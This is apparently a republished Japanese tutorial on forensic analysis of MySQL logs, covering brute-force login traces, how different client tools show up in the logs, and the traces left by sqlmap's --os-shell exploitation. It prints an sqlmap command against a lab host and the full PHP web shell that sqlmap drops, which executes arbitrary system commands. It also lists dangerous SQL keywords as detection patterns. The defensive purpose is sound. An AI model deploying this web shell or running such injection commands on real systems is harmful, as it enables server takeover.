ホームページ >運用・保守 >安全性 >データベースログを分析する方法

データベースログを分析する方法

王林
王林転載
2020-06-11 17:20:013352ブラウズ

データベースログを分析する方法

一般的なデータベース攻撃には、脆弱なパスワード、SQL インジェクション、権限の昇格、バックアップの盗難などが含まれます。データベースのログを分析することで、攻撃動作を発見し、攻撃シナリオをさらに復元し、攻撃源を追跡できます。

1. Mysql ログ分析

一般的なクエリ ログには、成功した接続と実行された各クエリが記録されます。セキュリティ導入の一部として使用して、トラブルシューティングを行うことができます。分析やハッキング後の調査の基礎となります。

1. ログ構成情報を表示します

show variables like '%general%';

2. ログを有効にします

SET GLOBAL general_log = 'On';

3. ログ ファイルのパスを指定します

SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';

たとえば、 /test .php?id=1 にアクセスすると、この時点で次のようなログが得られます:

190604 14:46:14       14 Connect    root@localhost on
                      14 Init DB    test   
                      14 Query    SELECT * FROM admin WHERE id = 1     
                      14 Quit

列ごとに解析してみましょう:

最初の列: Time、時間列、最初のものは日付、最後のものは日付 1 つは時と分ですが、これらが表示されない理由としては、これらの SQL ステートメントがほぼ同時に実行されるため、時間が個別に記録されないことが考えられます。

2 番目の列: Id は、show processlist の最初の列のスレッド ID です。接続が長く、時間のかかる SQL ステートメントの場合、どのスレッドが実行されているかを正確に知ることができます。

3 番目の列: コマンド、操作タイプ。たとえば、Connect はデータベースに接続すること、Query はデータベースにクエリすること (追加、削除、チェック、変更はすべてクエリとして表示されます)、一部の操作は実行できます。特別にフィルタリングされます。

4 番目の列: 引数、詳細情報 (例: Connect root@localhost on はデータベースに接続する手段など)、データベースに接続した後にどのようなクエリ操作が実行されたか。

2. ログインの成功/失敗

簡単なテストをしてみましょう。以前開発した脆弱なパスワード ツールを使用してスキャンします。辞書の設定は比較的小さいです。 2 ユーザー、4 パスワード、合計 8 グループ。

データベースログを分析する方法

MySQL のログ レコードは次のようになります:

Time                 Id        Command         Argument
190601 22:03:20     98 Connect  root@192.168.204.1 on
        98 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        103 Connect  mysql@192.168.204.1 on       
        103 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        104 Connect  mysql@192.168.204.1 on       
        104 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Connect  root@192.168.204.1 on       
        101 Connect  root@192.168.204.1 on       
        101 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)       
        99 Connect  root@192.168.204.1 on        
        99 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        105 Connect  mysql@192.168.204.1 on       
        105 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Query  set autocommit=0      
        102 Connect  mysql@192.168.204.1 on       
        102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Quit

このパスワード推測プロセスでどれが成功したかわかりますか?

ブラスト ツールを使用すると、成功したパスワード推測の記録は次のようになります:

190601 22:03:20     100 Connectroot@192.168.204.1 on
   100 Queryset autocommit=0   
   100 Quit

ただし、他の方法を使用する場合は、少し異なる可能性があります。

Navicat for MySQL ログイン:

190601 22:14:07  106 Connectroot@192.168.204.1 on         
         106 QuerySET NAMES utf8
         106 QuerySHOW VARIABLES LIKE 'lower_case_%'         
         106 QuerySHOW VARIABLES LIKE 'profiling'         
         106 QuerySHOW DATABASES

コマンド ライン ログイン:

190601 22:17:25  111 Connectroot@localhost on
         111 Queryselect @@version_comment limit 1
         190601 22:17:56  111 Quit

違いは、データベース接続ツールが異なれば、データベース接続の初期化プロセスに異なるプロセスがあることです。 。この違いにより、ユーザーがデータベースにどのように接続するかを簡単に判断できます。

さらに、ブラスト ツール、Navicat for MySQL、またはコマンド ラインを使用した場合でも、ログインの失敗は同じように記録されます。

ログイン失敗記録:

102 Connect  mysql@192.168.204.1 on 
102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)

簡単な分析にはシェル コマンドを使用します:

どの IP が爆破されているか?

grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
     27 192.168.204.1

爆破ユーザー名の辞書とは何ですか?

grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -
nr     13 mysql     12 root      1 root      1 mysql

ログ分析では、テーブルの削除、データベースの準備、ファイルの読み取りと書き込みなど、一部の機密性の高い操作に特別な注意を払う必要があります。

キーワード: テーブルのドロップ、関数のドロップ、テーブルのロック、テーブルのロック解除、load_file()、outfile へ、dumpfile へ。
機密性の高いデータベース テーブル: SELECT * from mysql.user、SELECT * from mysql.func

3. SQL インジェクション侵入の痕跡

SQL インジェクションの脆弱性の使用この処理では、sqlmap の --os-shell パラメータを使用してシェルを取得しようとしますが、操作に注意しないと、sqlmap で作成された一時テーブルやカスタム関数が残る可能性があります。まず、sqlmap os-shell パラメータの使用法と原則を見てみましょう:

1. SQL インジェクション ポイントを構築し、Burp がポート 8080 をリッスンできるようにします

sqlmap.py  -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080

HTTP 通信プロセスは次のとおりです。

データベースログを分析する方法

一時ファイル tmpbwyov.php を作成し、このトロイの木馬にアクセスしてシステム コマンドを実行し、ページ表示に戻ります。

tmpbwyov.php:
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set(&#39;max_execution_time&#39;,0);$z=@ini_get(&#39;disable_functions&#39;);if(!empty($z)){$z=preg_replace(&#39;/[, ]+/&#39;,&#39;,&#39;,$z);$z=explode(&#39;,&#39;,$z);$z=array_map(&#39;trim&#39;,$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f(&#39;system&#39;)){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;proc_open&#39;)){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f(&#39;shell_exec&#39;)){$w=shell_exec($c);}elseif(f(&#39;passthru&#39;)){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;popen&#39;)){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f(&#39;exec&#39;)){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre class="brush:php;toolbar:false">".$w."
";?>`

一時テーブル sqlmapoutput を作成し、ストアド プロシージャを呼び出してシステム コマンドを実行して一時テーブルにデータを書き込み、一時テーブルからデータを取得してフロントエンドに表示します。

Web サイトのディレクトリ内に最近作成された不審なファイルを確認することで、SQL インジェクションの脆弱性攻撃が発生したかどうかを判断できます。

確認方法:

1. Web サイトのディレクトリにトロイの木馬ファイルがあるかどうかを確認します:

データベースログを分析する方法

2. 存在するかどうかを確認します。 UDF ファイル 権限と MOF 権限昇格のトレース

ディレクトリ内に異常なファイルがないか確認

mysqllibpluginc:/windows/system32/wbem/mof/

関数が削除されていないか確認

select * from mysql.func

3.Webログと組み合わせる分析。

推奨チュートリアル: Web サーバーのセキュリティ

以上がデータベースログを分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はsecpulse.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。